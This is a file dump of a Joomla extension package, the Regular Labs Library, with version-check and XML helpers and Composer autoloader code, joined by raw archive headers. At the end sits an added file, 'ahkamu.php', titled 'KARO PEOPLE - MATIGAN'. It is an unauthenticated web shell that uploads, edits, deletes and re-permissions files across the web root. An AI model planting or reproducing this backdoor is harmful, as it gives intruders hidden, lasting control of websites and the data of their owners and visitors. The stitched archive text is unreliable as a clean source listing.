defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Session\Session as JSession;
use Joomla\CMS\Uri\Uri as JUri;
jimport('joomla.filesystem.file');
/**
* Class Version
* @package RegularLabs\Library
*/
class Version
{
/**
* Get the version of the given extension
*
* @param $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function get($alias, $type = 'component', $folder
= 'system')
{
return trim(Extension::getXmlValue('version', $alias, $type,
$folder));
}
/**
* Get the version of the given plugin
*
* @param $alias
* @param string $folder
*
* @return string
*/
public static function getPluginVersion($alias, $folder =
'system')
{
return self::get($alias, 'plugin', $folder);
}
/**
* Get the version of the given component
*
* @param $alias
*
* @return string
*/
public static function getComponentVersion($alias)
{
return self::get($alias, 'component');
}
/**
* Get the version of the given module
*
* @param $alias
*
* @return string
*/
public static function getModuleVersion($alias)
{
return self::get($alias, 'module');
}
/**
* Get the version message
*
* @param $alias
*
* @return string
*/
public static function getMessage($alias)
{
if ( ! $alias)
{
return '';
}
$name = Extension::getNameByAlias($alias);
$alias = Extension::getAliasByName($alias);
if ( ! $version = self::get($alias))
{
return '';
}
Document::loadMainDependencies();
$url = 'download.regularlabs.com/extensions.xml?j=3&e='
. $alias;
$script = "
jQuery(document).ready(function() {
RegularLabsScripts.loadajax(
'" . $url . "',
'RegularLabsScripts.displayVersion( data, \"" . $alias
. "\", \"" . str_replace(['FREE',
'PRO'], '', $version) . "\" )',
'RegularLabsScripts.displayVersion( \"\" )',
null, null, null, (60 * 60)
);
});
";
JFactory::getDocument()->addScriptDeclaration($script);
return '<div class="alert alert-success"
style="display:none;" id="regularlabs_version_' .
$alias . '">' . self::getMessageText($alias, $name,
$version) . '</div>';
}
/**
* Get the full footer
*
* @param $name
* @param int $copyright
*
* @return string
*/
public static function getFooter($name, $copyright = true)
{
Document::loadMainDependencies();
$html = [];
$html[] = '<div class="rl_footer_extension">' .
self::getFooterName($name) . '</div>';
if ($copyright)
{
$html[] = '<div class="rl_footer_review">' .
self::getFooterReview($name) . '</div>';
$html[] = '<div class="rl_footer_logo">' .
self::getFooterLogo() . '</div>';
$html[] = '<div class="rl_footer_copyright">'
. self::getFooterCopyright() . '</div>';
}
return '<div class="rl_footer">' .
implode('', $html) . '</div>';
}
/**
* Get the version message text
*
* @param $alias
* @param $name
* @param $version
*
* @return array|string
*/
private static function getMessageText($alias, $name, $version)
{
list($url, $onclick) = self::getUpdateLink($alias, $version);
$href = $onclick ? '' : 'href="' . $url .
'" target="_blank" ';
$onclick = $onclick ? 'onclick="' . $onclick .
'" ' : '';
$is_pro = strpos($version, 'PRO') !== false;
$version = str_replace(['FREE', 'PRO'],
['', ' <small>[PRO]</small>'], $version);
$msg = '<div class="text-center">'
. '<span class="ghosted">'
. JText::sprintf('RL_NEW_VERSION_OF_AVAILABLE',
JText::_($name))
. '</span>'
. '<br>'
. '<a ' . $href . $onclick . ' class="btn
btn-large btn-success">'
. '<span class="icon-upload"></span> '
.
StringHelper::html_entity_decoder(JText::sprintf('RL_UPDATE_TO',
'<span id="regularlabs_newversionnumber_' . $alias .
'"></span>'))
. '</a>';
if ( ! $is_pro)
{
$msg .= ' <a
href="https://www.regularlabs.com/purchase/cart/add/' . $alias .
'" target="_blank" class="btn btn-large
btn-primary">'
. '<span class="icon-basket"></span> '
. JText::_('RL_GO_PRO')
. '</a>';
}
$msg .= '<br>'
. '<span class="ghosted">'
. '[ <a href="https://www.regularlabs.com/' . $alias .
'/changelog" target="_blank">'
. JText::_('RL_CHANGELOG')
. '</a> ]'
. '<br>'
. JText::sprintf('RL_CURRENT_VERSION', $version)
. '</span>'
. '</div>';
return StringHelper::html_entity_decoder($msg);
}
/**
* Get the url and onclick function for the update link
*
* @param $alias
* @param $version
*
* @return array
*/
private static function getUpdateLink($alias, $version)
{
$is_pro = strpos($version, 'PRO') !== false;
if (
! file_exists(JPATH_ADMINISTRATOR .
'/components/com_regularlabsmanager/regularlabsmanager.xml')
|| ! JComponentHelper::isInstalled('com_regularlabsmanager')
|| ! JComponentHelper::isEnabled('com_regularlabsmanager')
)
{
$url = $is_pro
? 'https://www.regularlabs.com/' . $alias .
'/features'
:
JRoute::_('index.php?option=com_installer&view=update');
return [$url, ''];
}
$config =
JComponentHelper::getParams('com_regularlabsmanager');
$key = trim($config->get('key'));
if ($is_pro && ! $key)
{
return ['index.php?option=com_regularlabsmanager',
''];
}
jimport('joomla.filesystem.file');
Document::loadMainDependencies();
JHtml::_('behavior.modal');
JFactory::getDocument()->addScriptDeclaration(
"
var RLEM_TIMEOUT = " . (int) $config->get('timeout',
5) . ";
var RLEM_TOKEN = '" . JSession::getFormToken() . "';
"
);
Document::script('regularlabsmanager/script.min.js',
'21.2.19653');
$url = 'https://download.regularlabs.com?ext=' . $alias .
'&j=3';
if ($is_pro)
{
$url .= '&k=' . strtolower(substr($key, 0, 8) .
md5(substr($key, 8)));
}
return ['',
'RegularLabsManager.openModal(\'update\', [\'' .
$alias . '\'], [\'' . $url . '\'],
true);'];
}
/**
* Get the extension name and version for the footer
*
* @param $name
*
* @return string
*/
private static function getFooterName($name)
{
$name = JText::_($name);
if ( ! $version = self::get($name))
{
return $name;
}
if (strpos($version, 'PRO') !== false)
{
return $name . ' v' . str_replace('PRO',
'', $version) . ' <small>[PRO]</small>';
}
if (strpos($version, 'FREE') !== false)
{
return $name . ' v' . str_replace('FREE',
'', $version) . ' <small>[FREE]</small>';
}
return $name . ' v' . $version;
}
/**
* Get the review text for the footer
*
* @param $name
*
* @return string
*/
private static function getFooterReview($name)
{
$alias = Extension::getAliasByName($name);
$jed_url = 'http://regl.io/jed-' . $alias .
'#reviews';
return StringHelper::html_entity_decoder(
JText::sprintf(
'RL_JED_REVIEW',
'<a href="' . $jed_url . '"
target="_blank">',
'</a>'
. ' <a href="' . $jed_url . '"
target="_blank" class="stars">'
. str_repeat('<span
class="icon-star"></span>', 5)
. '</a>'
)
);
}
/**
* Get the Regular Labs logo for the footer
*
* @return string
*/
private static function getFooterLogo()
{
return JText::sprintf(
'RL_POWERED_BY',
'<a href="https://www.regularlabs.com"
target="_blank">'
. '<img src="' . JUri::root() .
'media/regularlabs/images/logo.png" width="135"
height="24" alt="Regular Labs">'
. '</a>'
);
}
/**
* Get the copyright text for the footer
*
* @return string
*/
private static function getFooterCopyright()
{
return JText::_('RL_COPYRIGHT') . ' © ' .
date('Y') . ' Regular Labs - ' .
JText::_('RL_ALL_RIGHTS_RESERVED');
}
}
src/Xml.php000064400000002767151167425550006633 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use SimpleXMLElement;
jimport('joomla.filesystem.file');
/**
* Class File
* @package RegularLabs\Library
*/
class Xml
{
/**
* Get an object filled with data from an xml file
*
* @param string $url
* @param string $root
*
* @return object
*/
public static function toObject($url, $root = '')
{
$cache_id = 'xmlToObject_' . $url . '_' . $root;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (file_exists($url))
{
$xml = @new SimpleXMLElement($url, LIBXML_NONET | LIBXML_NOCDATA, 1);
}
else
{
$xml = simplexml_load_string($url, "SimpleXMLElement",
LIBXML_NONET | LIBXML_NOCDATA);
}
if ( ! @count($xml))
{
return Cache::set(
$cache_id,
(object) []
);
}
if ($root)
{
if ( ! isset($xml->{$root}))
{
return Cache::set(
$cache_id,
(object) []
);
}
$xml = $xml->{$root};
}
$json = json_encode($xml);
$xml = json_decode($json);
if (is_null($xml))
{
$xml = (object) [];
}
if ($root && isset($xml->{$root}))
{
$xml = $xml->{$root};
}
return Cache::set(
$cache_id,
$xml
);
}
}
vendor/autoload.php000064400000000262151167425550010375 0ustar00<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1::getLoader();
vendor/composer/autoload_classmap.php000064400000000223151167425550014104
0ustar00<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
vendor/composer/autoload_namespaces.php000064400000000225151167425550014422
0ustar00<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
vendor/composer/autoload_psr4.php000064400000000311151167425550013167
0ustar00<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'RegularLabs\\Library\\' => array($baseDir .
'/src'),
);
vendor/composer/autoload_real.php000064400000003440151167425550013230
0ustar00<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
/**
* @return \Composer\Autoload\ClassLoader
*/
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1',
'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1',
'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 &&
!defined('HHVM_VERSION') &&
(!function_exists('zend_loader_file_encoded') ||
!zend_loader_file_encoded());
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ .
'/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
return $loader;
}
}
vendor/composer/autoload_static.php000064400000001511151167425550013571
0ustar00<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1
{
public static $prefixLengthsPsr4 = array (
'R' =>
array (
'RegularLabs\\Library\\' => 20,
),
);
public static $prefixDirsPsr4 = array (
'RegularLabs\\Library\\' =>
array (
0 => __DIR__ . '/../..' . '/src',
),
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 =
ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 =
ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::$prefixDirsPsr4;
}, null, ClassLoader::class);
}
}
vendor/composer/ClassLoader.php000064400000032241151167425550012612
0ustar00<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component',
__DIR__.'/component');
* $loader->add('Symfony',
__DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for
instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see http://www.php-fig.org/psr/psr-0/
* @see http://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
// PSR-4
private $prefixLengthsPsr4 = array();
private $prefixDirsPsr4 = array();
private $fallbackDirsPsr4 = array();
// PSR-0
private $prefixesPsr0 = array();
private $fallbackDirsPsr0 = array();
private $useIncludePath = false;
private $classMap = array();
private $classMapAuthoritative = false;
private $missingClasses = array();
private $apcuPrefix;
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge',
array_values($this->prefixesPsr0));
}
return array();
}
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array $classMap Class to filename map
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap,
$classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*/
public function add($prefix, $paths, $prepend = false)
{
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
(array) $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
(array) $paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
(array) $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this
namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
(array) $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
(array) $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
(array) $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 base directories
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to
check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the
extension is enabled.
*
* @param string|null $apcuPrefix
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch')
&& filter_var(ini_get('apc.enabled'),
FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true,
$prepend);
}
/**
* Unregisters this instance as an autoloader.
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return bool|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
includeFile($file);
return true;
}
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative ||
isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class,
'.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\',
DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\'))
{
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath . '\\';
if (isset($this->prefixDirsPsr4[$search])) {
$pathEnd = DIRECTORY_SEPARATOR .
substr($logicalPathPsr4, $lastPos + 1);
foreach ($this->prefixDirsPsr4[$search] as $dir) {
if (file_exists($file = $dir . $pathEnd)) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_',
DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_',
DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
{
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR
. $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
if ($this->useIncludePath && $file =
stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*/
function includeFile($file)
{
include $file;
}
vendor/composer/installed.json000064400000000003151167425550012546
0ustar00[]
vendor/composer/LICENSE000064400000002056151167425550010713 0ustar00
Copyright (c) Nils Adermann, Jordi Boggiano
Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
ahkamu.php000064400000022761151167425550006546 0ustar00<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>